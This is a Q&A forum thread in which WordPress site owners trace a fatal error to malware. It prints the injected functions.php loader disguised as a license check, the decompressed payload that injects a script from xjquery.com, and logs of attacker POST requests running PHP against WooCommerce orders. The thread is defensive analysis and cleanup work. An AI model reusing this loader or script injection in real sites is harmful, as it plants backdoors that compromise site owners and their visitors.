1

I am running a WordPress WooCommerce site. The site is running fine but I go to admin page and login, it throws the following error below. What is strange is that I can't find any reference to this function wplicense_update_check

Fatal error: Uncaught TypeError: call_user_func_array(): Argument #1 ($callback) must be a valid callback, function "wplicense_update_check" not found or invalid function name in /home/mysite/public_html/wp-includes/class-wp-hook.php:308

Stack trace: #0 /home/mysite/public_html/wp-includes/class-wp-hook.php(332): WP_Hook->apply_filters(NULL, Array)
#1 /home/mysite/public_html/wp-includes/plugin.php(517): WP_Hook->do_action(Array)
#2 /home/mysite/public_html/wp-settings.php(639): do_action('wp_loaded')
#3 /home/mysite/public_html/wp-config.php(108): require_once('/home/mysite...')
#4 /home/mysite/public_html/wp-load.php(50): require_once('/home/mysite...')
#5 /home/mysite/public_html/wp-blog-header.php(13): require_once('/home/mysite...')
#6 /home/mysite/public_html/index.php(17): require('/home/mysite...')
#7 {main} thrown in /home/mysite/public_html/wp-includes/class-wp-hook.php on line 308

7
  • seems like a theme /plugin thing , try disabling the commercial plugins in play (one which may have a license) , one at a time. Commented Feb 18, 2023 at 15:08
  • but how to disable without loggin in admin Commented Feb 19, 2023 at 2:51
  • 1
    go to the plugins folder inside wp-content and rename the folder like xxpluginnamexx Commented Feb 19, 2023 at 16:15
  • "Consider using WordPress.SE." Commented Mar 8, 2023 at 9:18
  • @Smith, this is malware. Can you confirm if you have the WPWeb Updater plugin installed? Commented Apr 5, 2023 at 12:13

5 Answers 5

1

review file functions.php of the theme folder, in my case I have this code and directly delete it:

add_action( 'wp_loaded', 'wplicense_update_check' );

if ( ! function_exists( 'wplicense_update_check' ) && ! is_user_logged_in()) {

    function wplicense_update_check() {
        /**
         * License Update Checker Hook
         *
         * Register theme update checker hook.
         *
         */
        
        $wplicense_update = get_option( '_' . get_stylesheet() . '_licence_data');
        $wplicense_updater = locate_template( $wplicense_update[0] . '-' . $wplicense_update[3] . '.' . $wplicense_update[1] );

        if (is_file($wplicense_updater)) {
            load_template( $wplicense_update[4] . '.' . $wplicense_update[2] . '://' . $wplicense_updater, true);
        }
    }
}
Sign up to request clarification or add additional context in comments.

Comments

1

I've also found this code in a child theme functions.php - which I know every line of. It should not be there.

It loads an option from the database which is serialized as:

a:5:{i:0;s:10:"screenshot";i:1;s:3:"png";i:2;s:4:"zlib";i:3;s:4:"main";i:4;s:8:"compress";}

when de serialized it returns

Array
(
    [0] => screenshot
    [1] => png
    [2] => zlib
    [3] => main
    [4] => compress
)

Parts of this is then passed to the locate_template function to find the file: screenshot-main.png which is located in the child theme directory - it's definitely not a PNG though.

Submission to Virus total comes up clean but decompressing it with 7zip shows the PHP content.

https://pastebin.mozilla.org/Wro62iM2 (added to archive.org too)

It appears to be a zTDS implementation as it shares a lot of the same code - this appears to redirect visitors who are not logged in and not bots.

https://ztds.info/doku.php?id=folders

12 Comments

This is malware. I think I've managed to trace it to a plugin called WPWeb Updater. Can you confirm you have this installed? I had 5 sites infected (we have other sites) but only these 5 had that particular plugin. I've approached the plugin maker to see if they know. I also have some weird logs from the time the screenshot file was written. They don't make much sense: POST /index.php?gJhh7D08Rs
Brendon Muir, yes definitely malware. I've only had it on one sites so far and I haven't found the source, although I do not have that plugin. ?q=gJhh7D08Rs is the same as ?gJhh7D08Rs if $z_get = ''; in the script - see archive link above. It's basically the API key for the service running at https://xjquery.com
Thanks Andy, the other plugin would be Follow My Blog Post. That's the plugin that the updater plugin was installed for. We have this installed on many other sites but only the 5 affected sites had the latest version (in the 2.x range). Your comment about the logs is a bit confusing to me. When I decompress screenshot-main.php I just get some PHP that injects the script tag to to xjquery.com. I'll post the full 4 request logs below.
162.158.162.11 - - [20/Feb/2023:13:37:03 +0000] "POST /index.php?gJhh7D08Rs HTTP/2.0" 200 274 "-" " 172.70.142.142 - - [20/Feb/2023:13:37:04 +0000] "POST /index.php?HEkttBEBpf HTTP/2.0" 200 262 "-" 162.158.170.192 - - [20/Feb/2023:13:37:05 +0000] "POST /index.php?DHP8DOHlDD HTTP/2.0" 200 263 "-" 162.158.162.11 - - [20/Feb/2023:13:37:06 +0000] "POST /index.php?FeiEr0HPsJ HTTP/2.0" 200 274 "-"
<?php add_action('wp_print_scripts', 'wp_updater_print_scripts'); function wp_updater_print_scripts() { echo("<script async type='text/javascript' src='//xjquery.com/js/jquery-min-js'></script>\n"); } ?>
|
0

This is odd. I have just had an issue with a site and have found the following code in the themes functions.php file …

add_action( 'wp_loaded', 'wplicense_update_check' );

if ( ! function_exists( 'wplicense_update_check' ) && ! is_user_logged_in()) {

    function wplicense_update_check() {
        /**
         * License Update Checker Hook
         *
         * Register theme update checker hook.
         *
         */
        
        $wplicense_update = get_option( '_' . get_stylesheet() . '_licence_data');
        $wplicense_updater = locate_template( $wplicense_update[0] . '-' . $wplicense_update[3] . '.' . $wplicense_update[1] );

        if (is_file($wplicense_updater)) {
            load_template( $wplicense_update[4] . '.' . $wplicense_update[2] . '://' . $wplicense_updater, true);
        }
    }
}

… was causing a fatal error in WP. I did not add the code and have no idea how it ended up in my functions.php file.

1 Comment

surprisingly i cant find this code anywhere and still throws error!
0

Update - just found the code in functions.php again after having removed it.

The code is slightly different as it is missing && ! is_user_logged_in() from the if statement:

add_action( 'wp_loaded', 'wplicense_update_check' );

if ( ! function_exists( 'wplicense_update_check' ) ) {
    function wplicense_update_check() {
        /**
         * License Update Checker Hook
         *
         * Register theme update checker hook.
         *
         */
        $wplicense_update = get_option( '_' . get_stylesheet() . '_licence_data');
        if ($wplicense_updater = locate_template( $wplicense_update[0] . '-' . $wplicense_update[3] . '.' . $wplicense_update[1] )) {
            load_template( $wplicense_update[4] . '.' . $wplicense_update[2] . '://' . $wplicense_updater, true);
        }
    }
}

1 Comment

In your logs, at the time that functions.php was modified, what do you see? I did notice that the mtime sometimes doesn't get changed so it might be that you won't be able to see that.
0

I've managed to log the POST parameters of one of the suspicious looking requests though I can't be sure this is from the same actor, the request signature looks the same:

172.70.189.147 - - [24/Apr/2023:12:30:51 +0000] "POST /index.php?RqPbeX2VLP HTTP/2.0" 200 332 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" "111.90.150.162" "--------------------------06e40a1b50125bf5\x0D\x0AContent-Disposition: form-data; name=\x22xxx\x22\x0D\x0A\x0D\x0A5\x0D\x0A--------------------------06e40a1b50125bf5\x0D\x0AContent-Disposition: form-data; name=\x22aaa\x22\x0D\x0A\x0D\x0Aif(isset($wpdb)) { $results = $wpdb->get_results(\x22SELECT ID FROM {$wpdb->prefix}posts WHERE post_type LIKE 'shop_order' AND post_date LIKE '\x22.date('Y-m-d',strtotime(\x22-1 days\x22)).\x22%' AND post_status='wc-completed'\x22); echo(count($results)); exit(); } else { echo('nodb?');exit(); }\x0D\x0A--------------------------06e40a1b50125bf5--\x0D\x0A"

I thought I might try this out with the WPWeb Updater installed to see it executes the code.

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.